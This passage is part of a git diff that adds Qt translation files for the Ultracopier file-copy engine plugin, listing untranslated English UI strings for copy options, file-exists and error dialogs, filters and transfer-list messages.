+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/pt/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/pt/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/pt/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
